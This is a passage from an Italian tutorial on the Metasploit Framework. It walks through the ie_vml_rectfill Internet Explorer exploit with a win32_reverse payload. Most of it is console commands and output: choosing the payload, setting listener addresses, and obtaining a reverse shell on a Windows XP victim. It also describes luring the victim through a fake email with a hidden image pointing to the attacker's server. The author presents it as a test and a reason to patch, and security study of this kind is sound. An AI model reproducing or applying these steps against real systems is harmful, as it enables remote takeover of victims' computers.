Exploit: Name Default Description
——– ——– ——- —————————-
optional HTTPHOST 0.0.0.0 The local HTTP listener host
required HTTPPORT 8080 The local HTTP listener port

Payload: Name Default Description
——– ——– ———– ——————————————
required EXITFUNC seh Exit technique: “process”, “thread”, “seh”
required LHOST XX.XXX.X.XX Local address to receive connection
required LPORT 4321 Local port to receive connection

Target: Windows NT 4.0 -> Windows 2003 SP1

msf ie_vml_rectfill(win32_reverse) >

*********************

Apro una piccola parentesi per dire che in ogni momento è possibile richiamare tramite alcuni comandi la lista disponibile di nops , encoders , exploits e di comandi disponibili tramite il comando help.

msf-7.pngmsf-8.pngmsf-7.png

(gli exploits sono stati riportati negli screenshots precedenti…)

***********

Per scegliere il payload diamo il seuente comando:

msf ie_vml_rectfill(win32_reverse) > show payloads

Metasploit Framework Usable Payloads
====================================

win32_downloadexec Windows Executable Download and Execute
win32_exec Windows Execute Command
win32_passivex Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload
win32_passivex_stg Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

Questi i payloads disponibili , e da questi non dobbiamo fare altro che selezionarne uno e vedere se necessita di configurazione , quindi con il comando seguente selezioniamo per il nostro attacco il payload: win32_exec , il quale ci consentirà l’esecuzione di comandi tramite il prompt Windows Xp , che è il sistema attaccato.

msf ie_vml_rectfill > set PAYLOAD win32_reverse

una volta eseguita la selezione del payload , come per l’ exploit vediamo le opzioni di cui necessita , diamo quindi il solito comando show option , ottenendo il risultato seguente:

msf ie_vml_rectfill(win32_reverse) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
——– ——– ——- —————————-
optional HTTPHOST 0.0.0.0 The local HTTP listener host
required HTTPPORT 8080 The local HTTP listener port

Payload: Name Default Description
——– ——– ———– ——————————————
required EXITFUNC seh Exit technique: “process”, “thread”, “seh”
required LHOST 29.230.6.74 Local address to receive connection
required LPORT 4321 Local port to receive connection

Target: Windows NT 4.0 -> Windows 2003 SP1

Le opzioni de default non vanno bene per il payload che abbiamo selezionato , visto , come ripeto , che è la vittima a connettersi al nostro fake server , allora devo dargli l’indirizzo su cui la vittima si connette e noi riceviamo la sua connessione e lo facciamo con il seguente comando:

msf ie_vml_rectfill(win32_reverse) > set HTTPHOST 29.XXX.6.XX

HTTPHOST -> 29.XXX.6.XX

Ora basta dare il comando exploit ,(colore-blue-prompt-vittima), e guardate voi il risultato ottenuto , (gli IP sono stati mascherti con delle “X”):

msf ie_vml_rectfill(win32_reverse) > exploit


[*] Starting Reverse Handler.
[*] Waiting for connections to http://29.XXX.X.XX:8080/
[*] Client connected from 1.42.XXX.XX:1042…
[*] Got connection from 29.XXX.6.XX:4321 <-> 1.42.XXX.XX:1043

Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\w33dsmok3r\Desktop>

***

metasploit_logos_icbm1.jpg
***

Ed ecco nelle nostre mani il totale controllo del sistema della vittima.

Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\w33dsmok3r\Desktop>exit

exit è stato il comando che io ho dato , perché stiamo facendo un test , ma pensate voi un malintenzionato cosa potrebbe arrivare a fare…

***

Ecco quindi a cosa serve il metasploitframework… …a rendersi immuni da attacchi di malintenzionati , la vittima del nostro attacco infatti , una volta che è venuto a conoscenza della falla di IE-6 , potrebbe benissimo pensare di passare a IE-7 , rendendosi così immune dall’ attacco con l’ exploit che abbiamo scelto in questo tutorial.

Il metasploitframework , è quindi un progetto grandioso , basta farne buon uso. I metodi di attacco a seconda della vittima e dell’ exploit sono molteplici , io al posto di usufruire del payload win32_reverse , avrei potuto ad esempio richiamare il payload win32_reverse_vncinject in questo caso avrei potuto anche ottenere il controllo grafico del sistema della vittima , tramite appunto l’ iniezione del payload di un VNC control , il programma per gestire da remoto un desktop , che però in questo caso sarebbe stato non autorizzato logicamente.

***

Non dobbiamo dimenticare una cosa però , che nel nostro caso è di fondamentale importanza , e cioé la connessione in un host “fake” del sistema vittma , praticamente c’é stata dopo l’ analisi dell’ attacco e la decisione di usare l’ exploit win32_reverse , la decisione di creare una fakemail , che conteneva l’ indirizzo IP dell’ host fake nascosto in un immagine che ha fatto in modo che la vittima si sia connessa al server fake , sul quale poi noi abbiamo ricevuto la connessione della vittima.

L’IP host fake , è stato inserito nella configurazione del exploit con il comando:

msf ie_vml_rectfill(win32_reverse) > set LHOST 29.XXX.6.XX

in questo modo abbiamo ricevuto la connessione , e ci siamo impadroniti del sistema vittima.

***

Come possiamo vedere dagli screenshots che ho fatto gli exploits , i payloads , e le altre istruzioni all’ interno della konsole , ma anche se siha intenzione di usare MSFweb o la gui con MSFgui , sono inserite in modo da essere facilmente riconoscibili…. questo per rendere l’ idea è uno screenshot realizzato per l’ uso di MSFweb.:

msf-11.png

 

msf-12.png

uesto della webinterface però è un uso che consiglio esclusivamente a coloro che devono familiarizzare con il progetto oppure con Shell e konsole , perché altrimenti è facile capire che la prestazione è meno performante.

***

Come possiamo vedere exploits e payloads sono inseriti in stile “exploit – applicazione affetta da vulnerabilità e causa

Infatti se prendiamo il caso da noi analizzato e sfruttato per l’ attacco , possiamo vedere che:

ie_vml_rectfill Internet Explorer VML Fill Method Code Execution

Infatti:

Nome dell’ exploit : ie_vml_rectfill

Applicazione affetta : Internet Explorer

Causa : VML Fill Method Code Execution

Per vedere una scheda più completa riguardante gli exploits di cui possiamo servirci , possiamo sempre connetterci al sito del progetto ed avere così una conoscenza più dettagliata.

Sempre per il nostro caso a questa pagina ci sono tutti i dettagli , anche se non dobbiamo dimenticare che in backtrack è inserito , ma il framework alla versione 2 non è più supportato , quindi non può essere più effettuato nessun UPdate , cosa che deve essere sempre eseguita prima di ogni test , in modo da avere a disposizione tutti gli exploits più nuovi e di sonseguenza più efficaci.

La cosa importante da capire è che digitando il nome dell’ exploit nel motore di ricerca si ottiene come risultato la scheda tecnica dello stesso , e possiamo analizzarlo in tutte le sue caratteristiche , anche per il fatto che dalla pagina dell’ exploit nella scheda del progetto ci sono anche delle referenze a siti esterni come milw0rm e SecurityFocus ,che contegono inoltre anche i link per le rispettive patch.

MetasploitFramework è un progetto troppo grande per essere trattao unicamente in un articolo/tutorial , ed è per questo che abbiamo realizzato un videotutorial e che non sarà l’ unico , anche se tratteremo prossimamente nuovi argomenti importanti , ogni qualvolta che uscirà una qualche novità rispetto al framework saremo lieti di darla e testarla.

All’ interno del nostro BOX , inseriremo tutti i testi possibili per la comprensione di questo stupendo progetto , alcuni saranno anche nostri , ma la maggiorparte provengono come è logico che sia dal sito del progetto Metasploit , che personalmente tengo e consiglio di tenere sott’ occhio.

ciao a tutti e alla prossima.